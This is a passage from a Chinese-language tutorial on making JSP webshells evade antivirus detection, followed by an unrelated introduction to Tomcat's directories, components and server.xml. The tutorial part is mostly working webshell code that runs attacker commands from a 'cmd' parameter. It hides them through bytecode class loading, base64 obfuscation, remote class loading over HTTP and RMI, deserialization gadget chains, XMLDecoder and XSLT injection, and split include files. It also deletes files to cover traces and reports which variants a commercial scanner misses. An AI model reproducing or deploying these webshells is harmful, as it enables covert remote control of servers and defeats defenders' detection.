ACMAGwAFACQAAAAcAAL/ACUABgcAJQcAJgcAJwcAKAcAJQcAJQAAIgApAAAABAABACoAAQArAAAAAgAs");
PermissionCollection pc=new Permissions();
pc.add(new AllPermission());
ProtectionDomain protectionDomain=new ProtectionDomain(new CodeSource(null, (Certificate[]) null), pc, this, null);
return this.defineClass(name, bytes, 0, bytes.length, protectionDomain);
} catch (Exception e) {
e.printStackTrace();
}
return super.findClass(name);
}
};
String cmd=request.getParameter("cmd");
Class<?> shell=loader.loadClass("com.demo.Shell");
Object object=shell.newInstance();
Method dm=shell.getDeclaredMethod("runs",String.class);
response.getWriter().println(dm.invoke(object, cmd));
%>
免杀效果:
Apache Commons BCEL被包含在了JDK的原生库中,BCEL库提供了一系列用于分析、创建、修改Java Class文件的API用于处理字节码,但是com.sun.org.apache.bcel.internal.util.ClassLoader这个类加载器由于安全问题,在JDK7以上版本被移除,导致BCEL字节码的利用变得很局限。
<%@ page import="java.lang.reflect.Method" %>
<%@ page import="com.sun.org.apache.xml.internal.security.utils.Base64" %>
<%@ page import="com.sun.org.apache.bcel.internal.classfile.Utility" %>
<%
byte[] bytes=Base64.decode("yv66vgAAADQAUAoAEAAtCgAuAC8KAC4AMAoAMQAyBwAzBwA0CgAGADUKAAUANggANwoABQA4BwA5CgALAC0KAAsAOgoACwA7BwA8BwA9AQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABBMY29tL2RlbW8vU2hlbGw7AQAEcnVucwEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7AQADY21kAQASTGphdmEvbGFuZy9TdHJpbmc7AQAHcHJvY2VzcwEAE0xqYXZhL2xhbmcvUHJvY2VzczsBAAJpcwEAFUxqYXZhL2lvL0lucHV0U3RyZWFtOwEADmJ1ZmZlcmVkUmVhZGVyAQAYTGphdmEvaW8vQnVmZmVyZWRSZWFkZXI7AQABcgEAAXMBAA1TdGFja01hcFRhYmxlBwA+BwA/BwBABwAzAQAKRXhjZXB0aW9ucwcAQQEAClNvdXJjZUZpbGUBAApTaGVsbC5qYXZhDAARABIHAEIMAEMARAwARQBGBwA/DABHAEgBABZqYXZhL2lvL0J1ZmZlcmVkUmVhZGVyAQAZamF2YS9pby9JbnB1dFN0cmVhbVJlYWRlcgwAEQBJDAARAEoBAAAMAEsATAEAF2phdmEvbGFuZy9TdHJpbmdCdWlsZGVyDABNAE4MAE8ATAEADmNvbS9kZW1vL1NoZWxsAQAQamF2YS9sYW5nL09iamVjdAEAEGphdmEvbGFuZy9TdHJpbmcBABFqYXZhL2xhbmcvUHJvY2VzcwEAE2phdmEvaW8vSW5wdXRTdHJlYW0BABNqYXZhL2lvL0lPRXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEADmdldElucHV0U3RyZWFtAQAXKClMamF2YS9pby9JbnB1dFN0cmVhbTsBABgoTGphdmEvaW8vSW5wdXRTdHJlYW07KVYBABMoTGphdmEvaW8vUmVhZGVyOylWAQAIcmVhZExpbmUBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEABmFwcGVuZAEALShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmdCdWlsZGVyOwEACHRvU3RyaW5nACEADwAQAAAAAAACAAEAEQASAAEAEwAAAC8AAQABAAAABSq3AAGxAAAAAgAUAAAABgABAAAACAAVAAAADAABAAAABQAWABcAAAAJABgAGQACABMAAADlAAUABgAAAEu4AAIqtgADTCu2AARNuwAFWbsABlkstwAHtwAIThIJOgQSCToFLbYAClk6BMYAHLsAC1m3AAwZBbYADRkEtgANtgAOOgWn/+AZBbAAAAADABQAAAAiAAgAAAALAAgADAANAA0AHQAOACEADwAlABAALwARAEgAEwAVAAAAPgAGAAAASwAaABsAAAAIAEMAHAAdAAEADQA+AB4AHwACAB0ALgAgACEAAwAhACoAIgAbAAQAJQAmACMAGwAFACQAAAAcAAL/ACUABgcAJQcAJgcAJwcAKAcAJQcAJQAAIgApAAAABAABACoAAQArAAAAAgAs");
String code=Utility.encode(bytes, true);
String bcelCode="$$BCEL$$" + code;
com.sun.org.apache.bcel.internal.util.ClassLoader bcelClassLoader=new com.sun.org.apache.bcel.internal.util.ClassLoader();
Class<?> shell=bcelClassLoader.loadClass(bcelCode);
Object object=shell.newInstance();
Method dm=shell.getDeclaredMethod("runs",String.class);
String cmd=request.getParameter("cmd");
response.getWriter().println(dm.invoke(object, cmd));
%>
TemplatesImpl是fastjson反序列化漏洞中常用的对象之一,但是由于在TemplatesImpl触发漏洞点只是调用个无参构造,导致恶意类的类方法无法被调用,只能将恶意代码插入到无参构造方法,或者静态代码块中。
package com.demo;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
public class Shell extends AbstractTranslet {
static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
e.printStackTrace();
}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
注意:
这里的类必须继承自AbstractTranslet
<%@ page import="java.util.Base64" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl" %>
<%@ page import="com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl" %>
<%
class Demo {
private void setFiledValue(Object obj, String fieldName, Object fieldValue) throws Exception {
Field field=obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, fieldValue);
}
public Demo(String s) {
try {
byte[] codes=Base64.getDecoder().decode(s);
byte[][] _bytecodes=new byte[][] {
codes,
};
TemplatesImpl templates=new TemplatesImpl();
setFiledValue(templates, "_bytecodes", _bytecodes);
setFiledValue(templates, "_name", "whatever");
setFiledValue(templates, "_tfactory", new TransformerFactoryImpl());
templates.newTransformer();
} catch (Exception e) {
e.printStackTrace();
}
}
}
new Demo("yv66vgAAADQAZgoAEwA/CgBAAEEKAEAAQgoAQwBEBwBFBwBGCgAGAEcKAAUASAgASQoABQBKBwBLCgALAD8KAAsATAoACwBNCABOBwBPCgAQAFAHAFEHAFIBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAEExjb20vZGVtby9TaGVsbDsBAARydW5zAQAmKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZzsBAANjbWQBABJMamF2YS9sYW5nL1N0cmluZzsBAAdwcm9jZXNzAQATTGphdmEvbGFuZy9Qcm9jZXNzOwEAAmlzAQAVTGphdmEvaW8vSW5wdXRTdHJlYW07AQAOYnVmZmVyZWRSZWFkZXIBABhMamF2YS9pby9CdWZmZXJlZFJlYWRlcjsBAAFyAQABcwEADVN0YWNrTWFwVGFibGUHAFMHAFQHAFUHAEUBAApFeGNlcHRpb25zAQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwcAVgEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAIPGNsaW5pdD4BAAFlAQAVTGphdmEvaW8vSU9FeGNlcHRpb247BwBPAQAKU291cmNlRmlsZQEAClNoZWxsLmphdmEMABQAFQcAVwwAWABZDABaAFsHAFQMAFwAXQEAFmphdmEvaW8vQnVmZmVyZWRSZWFkZXIBABlqYXZhL2lvL0lucHV0U3RyZWFtUmVhZGVyDAAUAF4MABQAXwEAAAwAYABhAQAXamF2YS9sYW5nL1N0cmluZ0J1aWxkZXIMAGIAYwwAZABhAQAEY2FsYwEAE2phdmEvaW8vSU9FeGNlcHRpb24MAGUAFQEADmNvbS9kZW1vL1NoZWxsAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAEGphdmEvbGFuZy9TdHJpbmcBABFqYXZhL2xhbmcvUHJvY2VzcwEAE2phdmEvaW8vSW5wdXRTdHJlYW0BADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQAOZ2V0SW5wdXRTdHJlYW0BABcoKUxqYXZhL2lvL0lucHV0U3RyZWFtOwEAGChMamF2YS9pby9JbnB1dFN0cmVhbTspVgEAEyhMamF2YS9pby9SZWFkZXI7KVYBAAhyZWFkTGluZQEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQAGYXBwZW5kAQAtKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7AQAIdG9TdHJpbmcBAA9wcmludFN0YWNrVHJhY2UAIQASABMAAAAAAAUAAQAUABUAAQAWAAAALwABAAEAAAAFKrcAAbEAAAACABcAAAAGAAEAAAAOABgAAAAMAAEAAAAFABkAGgAAAAkAGwAcAAIAFgAAAOUABQAGAAAAS7gAAiq2AANMK7YABE27AAVZuwAGWSy3AAe3AAhOEgk6BBIJOgUttgAKWToExgAcuwALWbcADBkFtgANGQS2AA22AA46Baf/4BkFsAAAAAMAFwAAACIACAAAABcACAAYAA0AGQAdABoAIQAbACUAHAAvAB0ASAAfABgAAAA+AAYAAABLAB0AHgAAAAgAQwAfACAAAQANAD4AIQAiAAIAHQAuACMAJAADACEAKgAlAB4ABAAlACYAJgAeAAUAJwAAABwAAv8AJQAGBwAoBwApBwAqBwArBwAoBwAoAAAiACwAAAAEAAEAEAABAC0ALgACABYAAAA/AAAAAwAAAAGxAAAAAgAXAAAABgABAAAAJQAYAAAAIAADAAAAAQAZABoAAAAAAAEALwAwAAEAAAABADEAMgACACwAAAAEAAEAMwABAC0ANAACABYAAABJAAAABAAAAAGxAAAAAgAXAAAABgABAAAAKgAYAAAAKgAEAAAAAQAZABoAAAAAAAEALwAwAAEAAAABADUANgACAAAAAQA3ADgAAwAsAAAABAABADMACAA5ABUAAQAWAAAAYQACAAEAAAASuAACEg+2AANXpwAISyq2ABGxAAEAAAAJAAwAEAADABcAAAAWAAUAAAARAAkAFAAMABIADQATABEAFQAYAAAADAABAA0ABAA6ADsAAAAnAAAABwACTAcAPAQAAQA9AAAAAgA+");
%>
在这里由于不能调用恶意类的类方法和有参构造,导致无法动态的执行命令,虽然如此但依旧可能利用ASM,javassist这些字节码框架来动态生成恶意类,进行动态的调用命令,在本文先不在探讨如何利用,
利用的方式将会在后期文章中讲解。
URLClassLoader一般有两种利用方式,一种是远程加载class文件,一种是本地加载class文件。
直接利用远程在家class文件的好处是代码量少,特征少。但是由于需要一个外网主机作为服务器,远程可能存在着被溯源的可能性。
<%@ page import="java.net.URL" %>
<%@ page import="java.net.URLClassLoader" %>
<%@ page import="java.lang.reflect.Method" %>
<%
String cmd=request.getParameter("cmd");
URL url=new URL("http://127.0.0.1:8000/");
URLClassLoader classLoader=new URLClassLoader(new URL[]{url});
System.out.println("父类加载器:" + classLoader.getParent()); // 默认父类加载器是系统类加载器
Class shell=classLoader.loadClass("com.demo.Shell");
Object object=shell.newInstance();
Method dm=shell.getDeclaredMethod("runs",String.class);
Object invoke=dm.invoke(object, cmd);
response.getWriter().println(invoke);
%>
这里讲解一下服务端如何搭建:
第一步:在一个文件夹中使用python开启一个http服务
python -m http.server
第二步:将编译好的class文件,根据全限定类名创建相应的文件夹,并导入class文件
以上两步即可完成搭建
免杀效果:
该免杀方式为先写入一个java马,利用JavaCompiler将其在jvm运行时编译成class文件,及javac动态编译,在利用urlclassloader加载编译好的class文件,为了消除特征以下的base64编码的内容就是之前写好的webshell代码。由于这种方式会创建java,class文件,为了隐蔽性,在这里将删除的文件在进行了删除处理。
<%@ page import="java.net.URL" %>
<%@ page import="java.net.URLClassLoader" %>
<%@ page import="java.lang.reflect.Method" %>
<%@ page import="java.io.FileWriter" %>
<%@ page import="java.util.Base64" %>
<%@ page import="java.io.IOException" %>
<%@ page import="javax.tools.JavaCompiler" %>
<%@ page import="javax.tools.ToolProvider" %>
<%@ page import="java.io.File" %>
<%
class delete{
public void deleteDir(File directory){
File files[]=directory.listFiles();
for (File file : files) {
if(file.isDirectory()){
deleteDir(file);
}else {
file.delete();
}
}
directory.delete();
}
}
String cmd=request.getParameter("cmd");
String base64Code="cGFja2FnZSBjb20uZGVtbzsgIGltcG9ydCBqYXZhLmlvLkJ1ZmZlcmVkUmVhZGVyOyBpbXBvcnQgamF2YS5pby5JT0V4Y2VwdGlvbjsgaW1wb3J0IGphdmEuaW8uSW5wdXRTdHJlYW07IGltcG9ydCBqYXZhLmlvLklucHV0U3RyZWFtUmVhZGVyOyAgcHVibGljIGNsYXNzIFNoZWxsIHsgICAgIHB1YmxpYyBzdGF0aWMgU3RyaW5nIHJ1bnMoU3RyaW5nIGNtZCkgdGhyb3dzIElPRXhjZXB0aW9uIHsgICAgICAgICBQcm9jZXNzIHByb2Nlc3MgPSBSdW50aW1lLmdldFJ1bnRpbWUoKS5leGVjKGNtZCk7ICAgICAgICAgSW5wdXRTdHJlYW0gaXMgPSBwcm9jZXNzLmdldElucHV0U3RyZWFtKCk7ICAgICAgICAgQnVmZmVyZWRSZWFkZXIgYnVmZmVyZWRSZWFkZXIgPSBuZXcgQnVmZmVyZWRSZWFkZXIobmV3IElucHV0U3RyZWFtUmVhZGVyKGlzKSk7ICAgICAgICAgU3RyaW5nIHIgPSAiIjsgICAgICAgICBTdHJpbmcgcyA9ICIiOyAgICAgICAgIHdoaWxlKChyID0gYnVmZmVyZWRSZWFkZXIucmVhZExpbmUoKSkhPW51bGwpeyAgICAgICAgICAgICBzICs9IHI7ICAgICAgICAgfSAgICAgICAgIHJldHVybiBzOyAgICAgfSAgfQ==";
FileWriter writer;
try {
writer=new FileWriter(System.getProperty("user.dir")+"\\Shell.java");
writer.write(new String(Base64.getDecoder().decode(base64Code)));
writer.flush();
writer.close();
} catch (IOException e) {
e.printStackTrace();
}
try {
JavaCompiler javac=ToolProvider.getSystemJavaCompiler();
int status=javac.run(null, null, null, "-d", System.getProperty("user.dir"),System.getProperty("user.dir")+"\\Shell.java");
if(status!=0){
response.getWriter().println(System.getProperty("user.dir"));
}
URLClassLoader classLoader=new URLClassLoader(new URL[]{new File(String.valueOf(System.getProperty("user.dir"))).toURI().toURL()});
Class shell=classLoader.loadClass("com.demo.Shell");
Object object=shell.newInstance();
Method dm=shell.getDeclaredMethod("runs",String.class);
Object invoke=dm.invoke(object, cmd);
response.getWriter().println(invoke);
new delete().deleteDir(new File(System.getProperty("user.dir") + "\\com"));
new delete().deleteDir(new File(System.getProperty("user.dir") + "\\Shell.java"));
} catch (Exception e) {
e.printStackTrace();
}
%>
免杀效果:
如果大家学过shellcode的免杀,我想都会有一种似曾相识的感觉,没错,这里的字节码类似与shellcode,而类加载器类似于shellcode加载器。本文讲解了最常用的生成字节码的方式,以及利用类加载器加载字节码达到免杀效果。
本章主要讲解,如何利用通用漏洞来进行命令执行,从而达到免杀效果
这种方式就相当于直接触发提供一个反序列化漏洞入口,但是能否被利用,还是在于服务端本身是否存在反序列化漏洞,下面给了一个例子,使用cc1链构建的webshell。
<%@ page import="java.io.*" %>
<%@ page import="org.apache.commons.collections.Transformer" %>
<%@ page import="org.apache.commons.collections.functors.ConstantTransformer" %>
<%@ page import="org.apache.commons.collections.functors.InvokerTransformer" %>
<%@ page import="org.apache.commons.collections.functors.ChainedTransformer" %>
<%@ page import="java.util.Map" %>
<%@ page import="java.util.HashMap" %>
<%@ page import="org.apache.commons.collections.map.LazyMap" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="java.lang.reflect.InvocationHandler" %>
<%@ page import="java.lang.annotation.Retention" %>
<%@ page import="java.lang.reflect.Proxy" %>
<%
String cmd=request.getParameter("cmd");
Transformer[] transformers=new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class }, new Object[] { cmd }) };
Transformer transformerChain=new ChainedTransformer(transformers);
Map innermap=new HashMap();
Map outmap=LazyMap.decorate(innermap, transformerChain);
Class clazz=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct=clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
InvocationHandler handler=(InvocationHandler) construct.newInstance(Retention.class, outmap);
Map proxyMap=(Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);
handler=(InvocationHandler)construct.newInstance(Retention.class, proxyMap);
ObjectOutputStream outputStream=new ObjectOutputStream(new FileOutputStream("test.out"));
outputStream.writeObject(handler);
outputStream.close();
ObjectInputStream inputStream=new ObjectInputStream(new FileInputStream("test.out"));
inputStream.readObject();
%>
免杀效果:
可见由于调用的函数太多,特征也非常明显,这里算是提供一些思路。
想必大家都分析Weblogic的xmlDecoder反序列化漏洞,XMLDecoder免杀其实就是利用XMLDecoder处理恶意的xml文件导致命令执行,并没有太多常见命令函数的特征,免杀效果不错。
<%@ page import="java.beans.XMLDecoder" %>
<%@ page import="java.io.*" %>
<%
String cmd=request.getParameter("cmd");
String s="<object class=\"java.lang.ProcessBuilder\">\n" +
"<array class=\"java.lang.String\" length=\"3\">\n" +
"<void index=\"0\">\n" +
"<string>cmd.exe</string>\n" +
"</void>\n" +
"<void index=\"1\">\n" +
"<string>/c</string>\n" +
"</void>\n" +
"<void index=\"2\">\n" +
"<string>"+cmd+"</string>\n" +
"</void>\n" +
"</array>\n" +
"<void method=\"start\" />\n" +
"</object>\n";
XMLDecoder xd=new XMLDecoder(new ByteArrayInputStream(s.getBytes()));
ProcessBuilder process=(ProcessBuilder) xd.readObject();
InputStream is=process.start().getInputStream();
BufferedReader bufferedReader=new BufferedReader(new InputStreamReader(is));
String r=null;
while((r=bufferedReader.readLine())!=null){
response.getWriter().println(r);
}
%>
其实就是利用XSLT注入来执行命令,但值得注意的是XSLT注入笔者目前并没有想到合适的方法让内容回显,因为XSLT貌似只能执行静态方法且返回值都是以String类型返回,导致process中的数据很难取出来。
<%@ page import="java.io.*" %>
<%@ page import="javax.xml.transform.Transformer" %>
<%@ page import="javax.xml.transform.stream.StreamResult" %>
<%@ page import="javax.xml.transform.TransformerFactory" %>
<%@ page import="javax.xml.transform.stream.StreamSource" %>
<%
String cmd=request.getParameter("cmd");
String s=" <xsl:stylesheet version=\"1.0\" " +
"xmlns:xsl=\"http://www.w3.org/1999/XSL/Transform\" " +
"xmlns:rt=\"java.lang.Runtime\"> " +
" <xsl:template match=\"/\">\n" +
" <xsl:variable name=\"rtobject\" select=\"rt:getRuntime()\"/>\n" +
" <xsl:variable name=\"process\" select=\"rt:exec($rtobject,'"+cmd+"')\"/>\n" +
" <xsl:variable name=\"ddd\" select=\"$process\"/>\n" +
" <xsl:value-of select=\"$ddd\"/>\n" +
" </xsl:template>\n" +
" </xsl:stylesheet>";
InputStream in=new ByteArrayInputStream(s.getBytes());
StreamResult result=new StreamResult(new ByteArrayOutputStream());
Transformer t=TransformerFactory.newInstance().newTransformer(new StreamSource(in));
t.transform(new StreamSource(new ByteArrayInputStream("<?xml version=\"1.0\" encoding=\"UTF-8\"?><data></data>".getBytes())),result);
%>
攻击者:
package com.demo;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class Demo2 {
public static void main(String[] args) throws Exception {
try {
Registry registry=LocateRegistry.createRegistry(1099);
Reference aa=new Reference("Calc", "Calc", "http://127.0.0.1/");
ReferenceWrapper refObjWrapper=new ReferenceWrapper(aa);
registry.bind("hello", refObjWrapper);
} catch (Exception e) {
e.printStackTrace();
}
}
}
恶意类:
import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.util.Hashtable;
public class Calc implements ObjectFactory {
public Calc() {
try {
Runtime.getRuntime().exec("calc");
} catch (Exception e) {
}
}
@Override
public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
System.out.println(nameCtx);
//Runtime.getRuntime().exec("calc");
return null;
}
}
webshell:
<%@ page import="javax.naming.Context" %>
<%@ page import="javax.naming.InitialContext" %>
<%@ page language="java" pageEncoding="UTF-8" %>
<%
try {
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
String uri="rmi://127.0.0.1:1099/hello";
Context ctx=new InitialContext();
ctx.lookup(uri);
} catch (Exception e) {
e.printStackTrace();
}
%>
本章主要是通过自己创造漏洞来执行命令,而我们用到的这些函数其实也是业务中比较常见的函数,且如果不了解漏洞原理,也不好分析是否是webshell
本章只要将之前没讲的一些免杀反射进行补充
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.BufferedReader" %>
<%@ page import="java.io.InputStreamReader" %>
<%@page language="java" pageEncoding="utf-8" %>
<%@ include file="1.jpg" %>
1.jpg
<%
String cmd=request.getParameter("cmd");
Process process=Runtime.getRuntime().exec(cmd);
InputStream is=process.getInputStream();
BufferedReader bufferedReader=new BufferedReader(new InputStreamReader(is));
String r=null;
while((r=bufferedReader.readLine())!=null){
response.getWriter().println(r);
}
%>
免杀效果:
可以看到某盾会查杀jpg文件,这样的话,我们就在分解成多个部分
这里我们分成两部分进行包含
发现依旧绕不过,其实原因就是杀软的匹配规则,有的是单一匹配,有的是同时匹配,因此我们换一个之前不免杀的webshell(由于两处及以上特征存在导致被查杀)
正常运行
某盾不在查杀
<%@ page import="java.lang.reflect.Method" %>
<%@ page import="java.io.*" %>
<%@ page import="java.util.Base64" %>
<%@ page language="java" pageEncoding="UTF-8" %>
<%@ include file="1.jpg" %>
<%@ include file="2.txt" %>
1.jpg
<%
String cmd=request.getParameter(new String(Base64.getDecoder().decode("Y21k"),"utf-8"));
Class<?> rt=Class.forName(new String(Base64.getDecoder().decode("amF2YS5sYW5nLlJ1bnRpbWU="),"utf-8"));
Method runtimeMethod=rt.getDeclaredMethod(new String(Base64.getDecoder().decode("Z2V0UnVudGltZQ=="),"utf-8"));
Method method=rt.getDeclaredMethod(new String(Base64.getDecoder().decode("ZXhlYw=="),"utf-8"), String.class);
Object object=method.invoke(runtimeMethod.invoke(null),cmd);
Process process=(Process) object;
%>
2.txt
<%
InputStream is=process.getInputStream();
BufferedReader bufferedReader=new BufferedReader(new InputStreamReader(is));
String r=null;
while((r=bufferedReader.readLine())!=null){
response.getWriter().println(r);
}
%>
java的免杀只要就是在于如何利用字节码,jsp特性,创建漏洞,少见的API等方式去绕过杀软的正则表达式,一般的杀软为了降低误报率,其实规则写的并不苛刻,还是比较好绕过了,多种免杀一起使用可以达到比较好的效果,其实学免杀,并不是盲目去测试,而且要了解更多的语言特性,就相当于游戏规则,当你足够了解游戏规则,再去测试杀软的规则,才能游刃有余。从才开始的php到现在的jsp,免杀系列已经写了10来篇了,weshell免杀就此先告一段落,后面如果有新的知识点也会继续补充,感谢大家。
原文链接:https://f5.pm/go-126866.html?utm_source=tuicool&utm_medium=referral
rebel公布了一份2020 Java生态系统报告,调查结果显示,有61%的开发者们使用的主要应用服务器还是Tomcat。很多初学Java的人不知道怎么入门Tomcat,接下来千锋武汉Java培训小编就给大家做一个简单的知识梳理。
Tomcat是什么?
Tomcat是由Apache开发的一个Servlet容器,实现了对Servlet和JSP的支持,并提供了作为Web服务器的一些特有功能,如Tomcat管理和控制平台、安全域管理和Tomcat阀等。Tomcat包含了一个配置管理工具,也可以通过编辑XML格式的配置文件来进行配置。
Tomcat重要目录
/bin - Tomcat 脚本存放目录(如启动、关闭脚本)。 *.sh 文件用于 Unix 系统; *.bat 文件用于 Windows 系统。
/conf - Tomcat 配置文件目录。
/logs - Tomcat 默认日志目录。
/webapps - webapp 运行的目录。
Tomcat常见组件
1.服务器(server)
实例,通常一个JVM只能包含一个实例,一般情况下,一个物理服务器可以启动多个JVM,从而启动多个实例,但一般不这么做。
2.服务(service)
一个服务组件通常包含一个引擎和此引擎相关联的一个或多个链接服务器。
3.连接器(connectors)
一个引擎能配置多个连接器,但是每个连接器的端口不能冲突。同时,Tomcat也支持AJP JSERV和JK2连接器,实现让Apache反向代理到后端服务器的非常高效的传输协议。
4.引擎
可以自己接收用户的http请求,并构建响应报文,而且可以在内部处理java程序的整个套间 。
5.主机
6.上下文
7.阀门,能够过滤也可以做访问控制。
8.日志记录器
9.领域(Realm),用来实现用户的认证和授权。
任何Tomcat实例就是一个server,而一个server内部要想能够解析JSP页面转义编译serlet程序,要靠其引擎来实现。而引擎才是真正意义上执行JSP代码的容器,都是Tomcat用类来描述这些组件的。同时,为了接受用户的请求,需要基于connector组件,所谓监听的套接字的程序,能够接手用户的请求,被称为连接器。一个server内部可以完全运行N个引擎,无非就是运行多个虚拟机而已。
Tomcat的安装
查看文件:
# cat /usr/local/tomcat/conf/server.xml
Listener为侦听器,通常实现tomcat内部进行通信的,可在各组件之间完成通信
<Serverport="8005" shutdown="SHUTDOWN">
<Listener className="org.apache.catalina.core.AprLifecycleListener"SSLEngine="on" />
<Listener className="org.apache.catalina.core.JasperListener"/>
<Listener className="org.apache.catalina.core.JreMemoryLeakPreventionListener"/>
<Listener className="org.apache.catalina.mbeans.GlobalResourcesLifecycleListener"/>
<Listener className="org.apache.catalina.core.ThreadLocalLeakPreventionListener"/>
全局命名资源,方便全局引用,所以为其起完名称后可以随便调用的
<GlobalNamingResources>
<Resource name="UserDatabase"auth="Container"
type="org.apache.catalina.UserDatabase"
description="User databasethat can be updated and saved"
factory="org.apache.catalina.users.MemoryUserDatabaseFactory"
pathname="conf/tomcat-users.xml" /> #其调用tomcat-user.xml配置文件进行用户认证
</GlobalNamingResources>
服务类组件配置信息,将连接器关联至引擎上
<Servicename="Catalina">
<Connector port="8080" protocol="HTTP/1.1" #所在监听端口,以及协议版本号
connectionTimeout="20000" #连接超时时间,单位毫秒
redirectPort="8443" /> #必要的时候可以做重定向,定义在8443
<Connector port="8443"protocol="HTTP/1.1" SSLEnabled="true" #端口监听在8443,协议http1.1
maxThreads="150" scheme="https" secure="true" #最大线程,协议版本,安全的
clientAuth="false" sslProtocol="TLS" /> #不验证客户端 ssl协议用的是tls
<Connector port="8009" protocol="AJP/1.3"redirectPort="8443" />
<Engine name="Catalina" defaultHost="localhost"> #引擎,名为catalina
<RealmclassName="org.apache.catalina.realm.LockOutRealm">
<RealmclassName="org.apache.catalina.realm.UserDatabaseRealm"
resourceName="UserDatabase"/> </Realm>
<Host name="localhost" appBase="webapps" #应用程序存放的位置,相对路径
unpackWARs="true" autoDeploy="true"> #如果是war文件格式,是否解压,是否自动部署
#定义阀门,java中类的记录方式,当前所处域名反过来写的记录方式
<ValveclassName="org.apache.catalina.valves.AccessLogValve"directory="logs"
prefix="localhost_access_log." suffix=".txt" #日志的命名 suffix表示时间戳
pattern="%h %l %u %t "%r" %s %b" /> #访问日志的格式
</Host>
</Engine>
</Service>
</Server>
